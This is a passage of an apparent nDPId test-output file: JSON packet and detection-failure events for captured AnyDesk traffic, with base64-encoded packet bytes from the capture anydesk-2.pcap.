fkOWLpjm\/1skpzXzIj+QAwS7R4PTHbcpWunnkFJcyw56pmvT\/xv6Lf41YO0YyC0SbFTVF31muUfnyz6nDDe28Ed9F3ZTPYNTZ0ubGHZv5f0+D934weGSxR1wxDYR64oimbUUY2xrR4rHOEz4V4tJbcV0h3fCEjNFsCTIaZmC08PqQIhSa3wVd1GPHz7PZnLNswh6gwdOMpSTZZPtOv2mUTskMPIlaHDmW9r7X9vNj0vcnf\/LENb\/2MK\/Ei5SrKMDVnP2nqnCkj78HLc0ofkE8JRVa6nJg6O1Qlabzt\/uvU3zkKCWzYo6ly48etAeZOQOgF8jejjot2BM1Fc9AQa08jOdEoYBK1p8xXxXiTNpkkIek+hzQLXwSkkRNX7c05sfJ8VqXdH1LlBknoUhhW\/JkAN0vC0lbOoeniJv7eS7HO5VrsKjhiH\/hLWWK3S4R6hbTAx4+41BRGAyhRiCGx+1E7QYwGLD04TwyTwM+apYbTgKTK0md+kDCDgqWCyI9gjggH90FA+IfWnTCaxPZjQlw9+Uhf12947fPGnPlwk4w8K23cjb9Y0Uu4xIFhiWznKzOIwlwO8KfnpYs9KoMwl06wWlsUCt0zF17YysSdD3dK\/nJCDUKC+VMvWLrewzcAVmkPzA6WQA3K0tGbyuEGE24QB\/CMSNlPeBC6E5\/4dwrUQHwaAAECltDd3rVd9CKd+h\/QHGPj9dLE+6hbD7cCWke4eAHiE\/SiCk8AepjWcJa81lGHbQJWlQexHKUtPKQGBquF16MGZgHvdkR2z0VpDwYKv83TLgGwMtQWhX8O2f+KXpEYlAwkCvjgM2pixEeqMB0H0WHHNDBeEhh42CsgFRMmubRZGRbBX1zsK6nEdn7cURJTia92Qs0Q4yFNVTtQ1ADl\/jiy26YsGc+k98qQnPHOWxMXuippx4VgLc7HAZT2QE8rbjT6ZufwDJ4cmghqLqHXgxr6O2g11jVt\/lnPRC+RFIajN6NjS4mzMbMxySMCkPjqzAIB2DLoTECyQHg6M925lym7XzwFD9ueFCKxCwjRQA5ZY94v3N\/5x+CdvXacJhnAyEeq8n0G5iojbnIxWqFk4dj1s+a\/iMK+QFJErsx9Z5AUcVC+EQ01fNPK3xm0lSSl0vWjIEMBJEkHhqZ2JFrwmkFGsBTyro0Y2djrCKEGr+4tizI0PDm6KY2JTureYjgvq1FrOc0Req+88QmrKygngP+LY5UqhtAp9ZueQpo+ezk+k5KyJ8a3RGsWkkPqYgs+zDIcFJbsS0UxDQkqnzfN4CfLHktmTC8uE1mVmE2\/r3Kuzzuo5eN26+7kKjrqtM7+ECF6xRJY3xzlGRjJzE7QF3R2oxVAuJYbVxoq6nZvL+ref3uhC0UA7JSdmBJHDijivdGpmm5hL0D1XUzlPlNYO1dgL2e36dz65yq85R\/J0oMudnzinGve3lGmhUpevBMV1Aj8LuUrIfreZxz73q\/N6iCVPLSpLoliCe65PpaIa6G0foo9VLzVsOzQII5saNEBo9QXkPK+7lHD4oNnL5zuXLYzVL\/GA6+ZFGDO+iLYOkc9D78+Y53iBi4tL40DZH3K\/1gpi5hiKT6BB842rR4YW\/s0stqHI5p\/r\/Ig3CC9Mq5laGzc1lQFbErEvsm8bIDlw6guDJj3kJduPvhaZjpHTc1Z97RZu5hJStxSSwowVkaT0TKLB3KI3WZiXrIPdgYrPF0wwn4E97K89AGBxdV8mxTxUBQzH0R0hjXxZlpWrSN9Q+feJHHytlC5EJbp3QSdK58QJMENybjCP1MkAi1ricBRMaeRyh4edvfctKL2T2Or+sSSSGKstT+DX6dmfhOb7ZojHdAo3iGcwZRaYtj5534J31LNLQvBbq3UNEKBr\/UA8Mf4WKo3UUatFYjmFdSzFY9DdTqywX5wxgXZ5BWZCcmvO5CTtSbuLix3sKbhzQ\/ajlHzHeoYnY49s8uSu98WRaeaqGpH7I7Tbmdmt8+GWnwsnd24Sn4SXOJdQxz\/0NMglYoPKVUBSXidB1Gc90qDcdmRyxvnYAnIWtIe8uRGOcIPLHYQJdONfZxNGKFR1Iiajb9UHtJtFYJACiLhPoFMCqUlqH91cXE5ALoJ1iANC5HpvGVHc8a7HhfuLvrH01IOTUXjIqd4qFLxNbYuHEepK0ctRUGETkjYL7H9YRMUdx0rlVHfyktXuhkFhH0NxlxIWXCL8nu4WvsYbqsmGxIzaE7Fl\/UZqrsrUiBF+bmsonxf3s67KqjYFE\/NpCAvITWNzxY40wUKvzMYjMHrVLIMgJNECS0HHaHcxwjUD2Pm8Q\/mcVKYrtwYGjbEBdZg4DMzyQJYP9Txduh25Pl\/JkBea5TyLmRXmB1VFDPnXgodeQ7MHJMJ\/1wNt67IqwfUj8XqBS\/NM1lpcNaai5WBN7\/anAzlGad8V9P14bbvibFGeuiwa6eZcJipvpIXVhKwiFvGGiMW9F8ANRlp+gYijJutnUOvTw1gf+\/QxoejTw1fSrfbPlBoLpiCQVAD\/l+EGEkUsj6YTYQZ4D9k5BVrDKz8hIMpMyUxJL\/z0KNa0BrGcjn0vZgz7ZBApX\/uGDJYghUCgtnKgwd8Qn3CuFmFLoNTX78E74c3ecnEbz\/llzpqposPqacZDew\/a2XW1Ad1siVVSP33NjE4opvE5KXgvSbSs6KKxy6txGdcCjMFfP7ORpQbYN1\/yc0VQvP2njUnpffpOKym7D0VVdsTb+AjYfui4kOvOZq1fzVKo12GXtz7+LlWi\/VKbunpTX7z073IAp9n5Jkn1ZSnEGnQLeN3ZzS4lLEXk89xKZJn+J+nj\/M9daxC4zTp9xz1QC81i+ULtaH\/wecEyOfxOHbVMzmxTUOTfMv6DaGbMS2bTYtFdAfNai1iNFDyvPpsAWKsweqkPAK4FybIvqQShCaXgkSSb02irfCnLDow6IDn4NfqvOa9N0xYV+7Hxx1TDo64EbF4ni0YFSzY7L1V7EAJx\/jkPOTTcLQCG+FxHsc0nget7GdIBs4s="} +00178{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1741,"source":"anydesk-2.pcap","alias":"nDPId-test","l4_data_len":3025} +06638{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1745,"source":"anydesk-2.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1613977610,"pkt_ts_usec":948120,"pkt_caplen":4668,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":4668,"pkt_l4_len":0,"pkt":"KDc3AG3I2MuK4S0uCABFAAAAgdtAAIAGAADAqAG7wKgBstOUG56PLAXhWcQ9sFAYIBGExAAAFwMDEgFZ4hNO+msWgELu6i9wyF8UR06gixVHHEnx7CfLE+NSQZLRJHYOPNxmDi3XIdJUzFM2pJkyg0bQBUxDw7Q6AEpovlQzm5BwOpnklNRwH59x+lRAxNnJWvVivEVAGs8kh3j0RzCkWbU0TyGmbjdE8qY2UaJ7gdB5XP1NqR8umBUVEQTSGPPZklRgsEduqpiwwoM+38q5x257+lNGVbdgG7sX75Ip0MiGoihaAedc3ZL5YPcfcfcgrayYvnGHba54fDJajQD5qO+qMTsouZQ1zOuvQ9fVsFCriGVUAkIHcu2jjKKf6eGDBj8719BsIh3be06oXa238Frs+vknHdtIScvU+XkQ8DCqB8QDPl2ltRQdREr857sE0ii+mNsBW9U75lxJU8qk3TgWdb8XUwgTL5yQxQAiHWt0SI0uKpeBWU5BtHE45Cih3kEe8KoXBI+uFC2sRqRHp76s4EShwVIfoTgqMAgc0saiAx73M8Qq2\/NK2kNQt4lAenl293fBixu4RdepYnKIZJ0WdWtX0saQEtTSDeu3GEXIu+3ALH2Pd\/SeoqoA0xDIh6DW6CLjSVCxp1P\/oloAHNutHQxJyRRtOkWmdf4Z\/dRPADrnxEKiVLNjWz03Fyw2aJyFHozoJ5l\/i4o3ZHIc2h9Qhl+ePPEmcsDhIazsMljxPpeY7kK\/4Xe\/wYTp6lGv3hf\/Bz1P6SbNs\/LUyLac5QzZtij4\/CjpEP9zkkfmsh3cj1MSPoxH9mnara057lFQqZYLW7aROhw\/dw516NINYaCUiwtx7EbLADmiF60zzAFk7+c69MOqMTTzuL9cZSWbpnjTIOewvphjMJUj+ofR6s27ROtEQMe3hexEhXudbTPNftCRLgCj1BjNy15oDzlAI4Z6q4pwZO\/DB41baR9XeUg0cZ8V4LFnPqDnmfu+F7dJeTnrpVjMtX7hOyAoSaAfNvQ0j3OchMfIwysSgjaNbVBlaotoun9uKurLVI\/PYSQHU5mdybPUtZ21p9+NePC\/9J99sEREgnnDh6DI+VYfJZUNzVVyCgzocjFM5BXxYh87UzODnFk7PVs9xaVd6IUWZ0ZKxBjZR5S6YxtQe4XKt\/3J3zJ1wCkKsAnIPObPjrJcF6TFb7X+2Wglv21GLbiigWrLhZUVzbyVRjDFNAp1OOHdVhunVz1wdg22J41jIm296hAvDnbvkRExxYeIcDSHI0vW0eOqYY8HSM3bFlF3I1hmdVfSID6ms\/Zae2XHmS7UfGpVCesHYtRmJs3vTIYWPQBlp5A8vuywseI7iMDWx8ac3TYAnd\/ei\/fh94gMuAsi4nqnmHlZM8536EJYpFxh4Ew8ocfcb99UGJ2IO6VThSDgJs9L\/rn8iy79Xgn+lzZYgrk2ipAqh5Q7UVUUAw1IHDKSEcxfygw3ggKLSUoMayzQDgaSQAG4p0L2IjXUCRGp\/nq8d5sUKOliXnHx19wGofJXWErs\/xwzwLgX3hXjQhpiQ6\/y6Vru+VV651\/O9nyaY4+n7fomnSeEEItNQZZYHGwQfb4y70WIR6MtpdruWn0STRRXO6OTe4QtKZJh3l7bInk2qN2l24kmEp3wA+ehVZKgm2gjVTubgdDp1EIsePjBF4AnK0aEVak6CDEQw10t8sM+2fAVnFP60+seMq4us+R9ND40wTBdV5kLRWrp0Q+qDv7CN3w34L+pRoefHVgzpDg1maHWlDltBCiIq0Ox+zywfqat5rSmYEhuQqce5KtIVK4kvxokb\/YV\/k7\/AfoFTxEMLROjTHmE+gbsWtLfZxFFSfgozUU0snDL4yjF0vjYDtFChsdK610D\/lFMFfMGTg81e\/fFRq7WGRT5IgDkVNGxj4Mh89Od5OBlylnuk+3lCK1dEzL0n8I492n5dyDTt+g\/qgUs7ctLXrle1INU64wG\/\/wR5omSh9XXORubvYdz5YprSZiU8o1Reygw0EjNX\/drmD1kn0nqIQDy8+1fvVx3vg85lXyKew35EOeUQs\/YWy707Gkl+\/+\/+uanFSsbyyXM8ydoAiuimaWLUu2q9qDuFo0GElmzdDwSK2XryJiDdxU\/oKRfS8+yeLaLehiiuS48tNuE22aCGjAbsEKM+yZl+yeovonDk7rlCB33+ZnV1x5L+dUDrWK505kyYbXAA8mlN4j3ooY407MCtzBgrSght63AjVe528duRNPNpEsqCVNJixBPxRBZ\/4H5K2Z8yRbRSLsCUrn1HCQnMi1TU4PDEsKzpNT\/5iiVt9Dxe+JpAQ6\/Qjsvn57qyC4C8XAwr5xzYHMk2BLVwbH+A1XhSUkOJsACpuDglUkfk5JY7yiuSRQjxY1r13aCm+Yo1yreTV3V+JykH+Tz6SldrwIFQ3POES2MACBZk7bKjs\/v+E9zGUF2JAlGkbaDIKtLce6P36L8dxivCNdbRvAAgdvWduW8xFlXSlTSd9rwA5bk0EZCL+WulavesKmgVADeUFTOwoGOM\/zTPdorMHVXrUUtV\/vqR5fkF9BQIvzHeirhfo\/e4AULS+6FDoJeBKGDo4FcJ+4QDIOAQOnFWjGjWKT5R\/XVCJqfINGfXiqAIpZJTCVu+BNEyu92o+b3IxLrY\/xBqypL8i4iix\/Nlsevxn8Ft1tQCLjQVJ7Tt2aen3FXaxq7pLd0KzuV69aVzz5ZutUulq5AP\/SWLUYioZLec4IpOValglbadTuXHRyi\/XNbi1eNIRZnhZqnpwt0b8ReCxkSJYfYH6\/1knIyUB3qrxICXHcFneR6sJZlricKBL+i8YXS6aag9wGmBGQRku7p9upXyWeavCrgl7c8jjCqNip7fNG4peAGX716uFceSdI1xrcqpAj5Nxclcny9Uh6rht270NePzIC\/o98xE+umOk0E6Z5FQ5LQGbpRAEERuCZnvarKCUHDkbtFYtUD0MUUY29jJ2jY15qTgYXnG3mHVhL3E2cK2EbZy6yqmbsaZO60\/dBC9ZemJDOp7RLA98MC+gDdKZaFFnEkYqcn\/TT3UJHm46LPucVgx+Q+Sv7rx2ixFUenG\/QuZRvyfNM0U5yu6U3Puq7xE\/vjPrC0da3NJQfRCxWxlmNc9JHsA6XqplBWqHII0RI7xZq7SAyZuoYwDg8rnel3WMZ3n\/qAeMczLmJiwQofMN5Mym\/2YHUrqgnaXPIZlUAvB3U\/8bkbGvkQWc55iZRXVT1JVpAI0+lOlS50rfipjo6RUBI37d\/OlNDi5GDinAKilbYan\/wwJbsEMalXD\/EhaZK3EBd84DoYmIoxobv8HstuMMsvGBX1n24ALfHw1QiR+WQoDNufS7ZBkKMvIQBCfa0d4r+mUtBJpZ1dQO6HPG9D2ZTso6fLsWFyPqUINriueqfxjrwI2zeLADOMSAbcLKALdTE+jH6W4UcWxRQbxoZXIyqD27vQ7tEybb7sPDIMoy8Yh4I1wYKLXKZWRUxb+VGDORAhFRjPIBXW2ZoR5YLaSO4wxlVAQZI4mZKEwp6tVqGAtm30rQgpLTM8foVM3qEs8IfYqD2i05J9hHMZUuHghsGVn+tm4ZCoyT+3GEHmeTW1y6ITj+r+FTzKiwNJqkefDKWqUk3dEKlXG2gI5uj1mQ5tn+JM0g5Zu\/7t30TaMOE7UaN0MsMo1sMsCStSHMlWxy\/KAFcB0HJryRvI+Gt2\/GtA3MC1Rm8+ttLKlDjeeJhs9wgzoPrKHYLutNCAcIdtWZ0cFxiThJtltkdEy1TpGOVtWR9FtXN9+K6RwyuyqtErY6I3T336EWdxOVbRmEPHPKLS582j3x+\/rtoXt7p3Iw5Ztgfm3CZJfLyhS3YjpcgK38ExYFSbBO5B6wUsxJB8rjYsG8T2axMpwk64G+LYTRD+ixHgi1rSxaTKlJ6aYozX1Ys4xSEcL78\/5uN7rJiNyeppiyMQGQnrhSKZgost9KbJew\/lbpYOv9wHBcFwQtE1OfpDX0tNCsy4VbmFHBWwC1T9qL9cpLmXc5MAqdy1yBGM59QwlAtLSMRCgIaV\/e0\/KbGe8swyttZW3+otAJvGcxraZM2vs9Q1HtXYvaUd4G3mprs8+4\/gqgR4JGCjuBJaWC8cReI9Y1DAr1G2pxeD05HcSdjD\/nwC0JDfMy4LHxj+pR7glO4ykHeJmKrAsSM5l4yL+a5W5duW91sCOm0m\/+wfCj0ohItAVnyD00OrdrQTA8scj1Vnlxs4fOfIsKE1VaKmJageWF93\/G8mNI4764WJAQIov7RpTOJGrJlX\/Yar4M+TaTaRW78ewrPrKFbet223icXP0b\/GB7tRR8kpH7fY5Ec7oVY\/GMcFCzRYbxt8A7\/kKvOR4e1BKtmFX0WLpfuXLQbm6rICeAcFQwWnN0DsBrsAbj\/PMcwTwjjL+P\/yCjTuwCXogZDqrRe+0zsbUUWzJwzyXDQxoIvfguncR072ovfgSRgbbQ+qRNJ8uff7SsHOgS0EgMCqc\/9CsvumgTS8TAbEIK15+ZzWBtlfQyzSXcL\/FO1NVSzxCh1WEimiw8DB8Ts5EH81NvIwsOz\/88A5cXsIXu\/4VHGyzgOBIOVFrvZjzPI11phKxt4wyzqSIZJ3\/1GQEIpVfTirBjGLKIK08Pt2LWlLWUuZNGFEXJZbKweqBAj6KzOG\/1a0V\/oyjwHZ0qKN+UnRsXNem9OmTGwtBbLjWmuUuY3sboLFch\/niRZ5eaJwEfj660tLPT8sip3Adsj\/t9ozLb4rvIfaKcKyxFV6IulrMFuBgmR5fAdpe1CyWLJY9mMb0Up22PCRygEdkAvLuZ+PgAOguqdfkrXkCUWzeMj2WVAvo41oD1tDCbhhJYw6VNIbr36Dv25QCtcGo7gTgyeb8bowh1BrI1yf2Lb7xs8L0ysui\/WGNzuDW+K6Odh3efDI+vp77w1mSyOZTP7KT4dLlGlFdxMErVtcAAYD81\/sEb0Gyn6HS4fRHmbWsxp74OgbL3Ka6+855ugUKyWSB997UHQuA\/VtG9+A469e7WhADNhXQaxDXwXtzcYISN4BmOWLWidwUhDRJzFh0DktK8\/jCCDDU4EwgnzB0lx+CQ\/z08oMQNMxU5fu92yOkUT88hze0fFdXk0xAE9wClSYqB8N3CxEuLgYJHo\/mQGMpZ379uHSTP6bCPcna4JLgSOGVSNC+pC\/avRshxV2VKKhvQypsi+uwlVGvkT7yoBXMLYNMTHznZkwcQk\/u8HpAR3v\/fVsn6U3ORrKbYEpyE8mFlqj8rY9P+n4eOgkmMIa+Rf68EUTVc8Hl00qE9TrONARt16JiIDTe2IdRlXY69JCwnP5L6fPIN2OIufSyEBcN1w8wCrsUvzwEdR9YbwuSYOhe4W3NX991miYp9\/CGdgZkVFjNjkdwTqtO2qIG7W2twRlSTlwFbS5FZA3VXeTxWGiLzxAC2RCbljcCIFGLIr8Wg\/ke9zVrXlzZyonsX1e7PPr1xRy0KXELaf3a4c8BjAsVXyeGuRHgqSklUo0ICo374YotbQ+ANpydXFO8afHUJAKRXiKX5X4Cic2blwGqh6gEWO711B8HZzAGO+knw\/KN\/2dZCm9rZN9AB5\/AbZY9Vsc23+111qppswPhw0fr\/XQydiRPgxpJTaR8sKhrblhq5BXnL+d7VxFDakWpzTFbhGgECqGYvyyhHMIuiZKfmw2H6luGbeMqUhgkSzfUOKQ3pcuANRZUAzUPC75XHF4FmulwL7pRxOl\/ZdiXCT5YrgusSOdWnTWO6AL4TtEvBRd8hdLgKPLNvd92qRo0E20khVRm1TxPvAHh\/EXLJx+40yLgJjyDJrdSL3+fbIvPWipiYoBta3X1QfLZ9ou9mcWBNrUklF\/HTFGaNQqBx9fQYVRLFQRRnbqIuOU\/HLNoy0IicYfeHiwPRJ1E1Be6evmHcbJQ+85MHEcJZp00kEpOgMT462rweKZ2CYDYffloMX8NmZPaRCmEm6rrCXpa2G9ySNWL152CQrKYKDKbkqPbdEjHb\/8PiLeMtBhxM9XKKPmasM039+VOS3QshRXOKLZ5xDX7DkfiLMWElfj5NCVnEsem0VPmu\/o3C9Glqr6IMlxzeNOSrCgiApG3uFdOMRUe6pMfkgty4A2NfM0710kP1XNs5+TBipd5WavYduoNVsqizU+ZZ1Ro1KPbKUnh046iCgpMaurnhs1OwSAm\/B6kNT0ov7+aw9PDR1NEPll"} +00178{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1745,"source":"anydesk-2.pcap","alias":"nDPId-test","l4_data_len":4634} +03204{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1750,"source":"anydesk-2.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1613977610,"pkt_ts_usec":977910,"pkt_caplen":2147,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":2147,"pkt_l4_len":0,"pkt":"KDc3AG3I2MuK4S0uCABFAAAAgfJAAIAGAADAqAG7wKgBstOUG56PLBfnWcQ+DlAYIBCExAAAFwMDCChZ4hNO+msWgbcoS6RH60tkqLZhISfgblcIqS5SR6Syzskjtirjpwjovw575qxy8evtA9cLVKVVFbQVL+S39\/d\/uHo\/zkDCvFyLLCzambjW413ZV0qT474pvpb2tx5q35i6M3FijOTZzHG\/H8eI1xUdMLv8K0jkCBAcmjYAVjMCiAGMjkz90Egzb\/KXuSPxhyZKIJ4y30MoWkTvla3S2bkSdis3nLxaMLTcZRnXY8s6Icf\/tfthO5wybC+aAcrggqqUcwRXaC6XkJQFHc6+u0x+XT7cO7Z2jdqg2Rh\/yiU408jHKTNOM0p32EDQoRCNN47Q1MUQw1AGquzSRUuSAtYQV9aYkxyndHBvriRIbOa5L2isBcLIoywGTIBR4IWRg9zQCNNPUg34FowQZO\/RaL3pjyNnU2TXTQRmLTx5pX1aD+zKdOPB+UPfYosCWCQorot4wnCvE9xyE2oPOA5zbcCJqYsWGwX7orACdRdeJmkzwxZ\/aH3S3Go+NwOUMGgsyCM6Jzjh4aTO2YK0Nm2HRd2mUiDbLkJN\/wvkqQUXGoF83qc+kUj7QlQglZw4CyY5OnhRcyBwySzj3J+FIrUtIzoIEUmc6qjcNJgPhCpTsa4eNekKOaZ33NovzR5wbV5XG12qiyRxGFAf+JJT0TWVwz8tMjQlSVtBCd2m3JXQYxCBp7PA+uXH4oXklCaPIkUa2t+07y2w3O2BVMSJBthzp9K3k6ViN1GwhLD7LCnMqplUrmuTJHu95ZksaA+tHDuH6ypadSlH8HbDnDV79pERDjIMstDnRCN1w7D9onSGDEh84uQF4rWHuXcfoKAGzQiKb6vXgMBTReTRHCWtB9Qe2DoGd7P6KGxb94eKBa\/m1gAsybOcXE4Gr9iHcmIwGQUxrYgjfvcHJJHQKlWoKzMpLmBIlmw7RQwNK9MgL4DdTJuZVVFjI1YIdYa0IdP5yihQdUpBgU5TDIskjDxoBCaKXYrkBnbNYqU8D3rhyzTN+zTJxLQije539gtxEu18c6Qz\/leg13Wm\/Pd30Bzm75vU1bqKvQfKzagHJHXiATuL9\/+5AFC2V6g2W1hbZgsEUqae6nH+2Fpnu2k\/FHzBQ3zSKi9kOwyJT4n2ivz+J0Fwxd3mN4dn1QxOaI2FJbecDsMoc0y9hYify9ft7V+IqxQTPcIjfGYMPm36tAH7Cd70D2XOSEByCfFQX1TuE9sBNEZ+SSSbj1cEYxYkcH3ivcmd\/yjdcnVmj7xZnQ9\/UlOilTYDNLnLtdAuhzgUacimYqpaWq3cMbmwNVRs96lHIEtbGvmiIPRryhMlyaoSHn63vAdqYnQWrukNPZYUdBVj5mlXI841WjEfXoz7OSKulqVyoLxUs+Zm0\/mboI2J+l3lLMrKe\/7ESmxWIHeDrqNKnTqGnCqZ9O0yp9Xl886+LcCkxKw3CtmWfcVapxz73R0Tj4NWpM1oKUskU109mZYFE1QLDPlCCT8I\/+AS5bgZqm\/zWbtGDJ8kRroZ5wWiOO20Dc3N4gMtmgn3jpTtpSBqE0YYyVXf6sSHT7FAKoVice8SdUHuxCD2n5+bV\/s7qTeSlAjDrdzxe5iv4GT\/JEw2i0HskMVRrBvetZkyW59zhi5shNwy9A6YPS+6ayfcJzCoC967S+muB2RL8Lf92NqyxmMqulc03nP7Aspr9vgra514X\/H2YyLNPnO7YhcB5NBLU+kV6qSoonpxPtozdlgULJontRn5uhmIoP4fW8ubpTV65rZwWy0nkSZNne\/BzVDesQt4ketr11PWB7SiADaecrnfsOkcrY\/FTeY0xNLR4OmS1HqkVMCHubACGFC5pq+mFhbM9GyDzs9CxUJqhKr+LtTxqOTMKc2tLGEW5cp0p+kWKAiz7dHZTDV74onScFFFmN\/13vGSUVjVULx9ngHtmpzkxPJ6i7OxFiIud2fhfmnd4Aj2VtSsJn9tYquk8sV2wMh+jBM+lyPpYn0VuSIqKZwcgkUatyQXkLy8HLCW5VOmViDKnfCw1qE2KjQcZJkuW5UeF956dDrhFF9M2mlotC5PfRJaR8VUtFPDSTY2BIUZNUJCKBtrOTLuPil0WAd6Ju8JYU1RB5\/xSKXpJefPDFF+fTodPLC+1yafqlm0nq0ZRywbnGKdTpMJK8CrALLS1kIi63Z2wc57+wiL9R0PQtu4Ea1BZoMAGc6XkV1fzHYU4VO2UaaTQhOa5+9qZyT8TqOfzdDPqip1zoGA2coFPRpmWEfjCyCxo\/4zMHHUmlS3MQcojUUPZksH7UCb9sGXRvELmCB3Rsn6tvqsApR7QCs3abnPE7udJPH7Sg9ThhF+9JfS00zHZ5nLtxMoelhvXTQaRlSrfSJMdLzpnbRhjmOBVantiWi0f++U5yV2KRIXPC02EP1fKBf7ntGIgkvc\/ok5ZgIb8j+1RO9BTs\/aqZ34pkNvN1jMW+p7lUZocfMyI5lqzmZGgZuWau1zFNjr34pqBHedarso1ImfTyVoIihKGNjMqTaX8RSe71RPvmk5t0q8WSY\/IISxFWdMmoV0jgwv\/YQTOJR5WsyheaNP6MGK60lU\/esWHVeaETCAGdGHhhZJ02UhwzYZn0yyhE2vMdeAEjQYpIboR2Fuq5miKidMdxBtDQKNT2pq91y0ppfsrTBvJhvLTXsNy672EkXXohdUEHpVp9y+ngOe0OO3L5QPCwFEM3tw\/VROaAhygrqStBseg9buvSja19adoZwfB3su2S3jATfwgzC+gObm+51CS4puFUNi0rTEZZIETR1+nZrfQ7hc4gy4M+k="} +00178{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1750,"source":"anydesk-2.pcap","alias":"nDPId-test","l4_data_len":2113} +03314{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1751,"source":"anydesk-2.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1613977610,"pkt_ts_usec":978010,"pkt_caplen":2226,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":2226,"pkt_l4_len":0,"pkt":"KDc3AG3I2MuK4S0uCABFAAAAgfRAAIAGAADAqAG7wKgBstOUG56PLCAUWcQ+DlAYIBCExAAAFwMDCHdZ4hNO+msWgr6Ak4KGsG6J80KICaA28Z9mgeiMNoFL0nS79taG1E4ZZ9X0TtbirNOXahJTBSxfysYllPWjG+vdYeh6O3IOY5dTAqLvvKAzUxKlWhpnG+vHD9P6Gn5m6Ty9m6Dm6hy5DZApYM8kpy3M84FminTJTE2ntUjdVoY33hHc\/PEbQzNIRulNGK1s7eKO31XXrsJY6Xd1BmuiXRHtWgo33LFKDsLAGL3T3dzvnRlXdIOtf9hrWOHdX7FnopRPlPiD91fwji3BbZg30NG2dcD2W4MR\/wHvZTFVr6shzcgj388ZLmYqIZijr7DA4nwxO+Tmtc977JK8OYrrPCPz\/+XIzI3VG54KzhViD8U6CrPwCM7We\/1W0rEiibJeURSYrVV++4OoT84XjDZ+vNUs3c9lFjV\/xazBhqoBi8Of5NLdm3iHwuXgtUm153OjdNoti2xRORVQz7Gi\/378vLfDnxfupqc2Tidw2ncRYAQ8hFeAUOMTJvnQp5qV7RAoX0ziw8RCetWlKznxQg0HFz7VQYMsAox\/7GQCDqNcrC3pdfb+DUWhU4p8e6Ij3l37jA3oMeWdskKDu\/g5s9wKzLkaYfpG7CaFlXq9Dn0yPP0VlPgyGgCVOpgkcXmC7GhHPE9G295APrnQdYp0hrXukFL1dUsKtuf19Vu49R8QHUDkOPeywb4Nyu1SRxRQX9lyVXIHSKlxWaPIhi+YzhoeQ0bHfkdZAKbXkERNKS\/C6Q5pdkGSbp2x2Cb\/2+enVl66A0zTP2u5kAf930teI4k9wJBVZIxw0pB4YiRto2VwMIacWE0tFejVZEVx56diNPMcY2EokLVsssHSRxxEk8EWTxDv117JrrLbmVePUoPGYyc5GOxzFZIJJQEESOtE23JEPPW1NwJUPEVlW2MdKGbcFoZBNYu4D111VB2xWic1xeI590OBSAqCRcqH1\/2768Z2dVfRtXgdu1hC9m3+Xv2E6dZiVRj8VoWxz4Yd2kSqsEJ0o4CHyNdj9FbyBKmvwFKBq7pmUplK4KiC73l27LOEh90PNpyYgQO1Pz9Bzh33eiT9N9sYPB9neZGlH0W5VakWruK2baNFM2f7t+Iy1P3mHMZV5AWHSYFWiap8q7a+gW2mnmZWMEiyQzQQ9FVTYW7gvv9NZaZi9z4fIy\/VVfhorCOYDbMi7gErXi6wucBk18lGVHLXi5qLeu\/RYe7n8fY7HBVmgVuOIWZsTMD5i46gktazyjlZ8bs6NRpMNlvPnRfbSjNqy3wd4JoIE+\/X77QS1y4P7p\/NmdQwLQDEcw3Q4t4NGJ3hjCDjTSuP4BGur+B7pocphvRM3fhH\/A80GyxwBcypTIK3eU+LIK5W\/tcN3hy\/yFHYf8U32NgyPlPs2gg2IYECBmVfUR23rLh3bM1oqjDboGCmBYxjT+4jwaujm++kxAkUbdeEHAtm7yU+K4rf3I9thXquD0Tyf4pMAbmaeE+\/H1J6scRxqxwYAE6DnYpTEtOBQsxeQbhGznbi5PkUHsY0XlmOmINF\/7+Lk6CsdmbEVvBCJok\/IRJ6nekPfU0RNblIRfhHGzoU64+Mx3x5iuDFeZ\/AvgIr2oXddjdwpBargeQgx+Sl0GB\/Tuh3QAW0J9q1RqKS93vqHgW5AL5uJReuoiPvV4rOGlnqg7XnPMJGNRhpVr\/6Db+6DbLJUUahUzYm6QRTN1HUz519mfISLQ40xOPUckkQXt5IXMeZJYg9s+Obbmwb6OCVDObWLkm\/j4dmRIdJmS9+qtgZkXXSVOOMy4q+OyQeOvGaqxe+xWtigFEWlT8YOiYDAuuBiBcq\/iiF7XXqQJZp49aHzpE866IShtQDHkh7piQymjlHP7bMgoyJJ0YQ758jCYSnCbW4GGcVv2tuVH0ojZ64q8Cy6nFN1OuPm6oXKcstntS0ggb91ttwySuPDiDneJY8atPwnYEBMO+eoOL9rLEWAXQX2ZtT0MI9viTXFfbQMlQXHmH3xmpxChJeyaidPSoepbIjmqMpjBsIjD5z5UMxdBnT7ixkoag5L9O+x4UKzgUbJB0dWu9s\/eRw2GmlWZ2VPYKqjPqb0CZwNK0iIoyGbvI+yPiZAgByd76l5c9Wu3lt4MWFbVVh2dweuGtsebVjYKvNqblT4cX\/84P4wFgjSUDnnkkTTk5O2tE+qGsLSFVsqwvpz61k80ZmPn7InAqBc4pAnAkrUZT0CTdg+3grLQXfQI57NEe9ukeruVuF7BiLeHcE4tEt0EN8g3isWtKNJWUwwTtpAjQLcfbXAQqVVOQPJwSu\/1JfLziyOpx+bbECkoo30wKM8Rqb4gpNS+TdpVEQtTNb4B6Z1x6XduP6T+m85pQdsrX5Pdn14pI3vI84V2T1jhmgRaY6qGWm8FEHaUibQiG4+pkZElCMluHXGwJgbe5WODlGTZwCtcMxShHLj1HDAMpSU+gCO2hHG80VfkQQluDwgXV1W8hw\/l8aTsv8RGCJS7HRL8s2DjxJLZKvNJXeB+0Uf9kYRfD\/8QVpuFcHYsjx8XSQhUFLE5Rq16D8SSD\/m18enQZlL6byu646Gc7not5f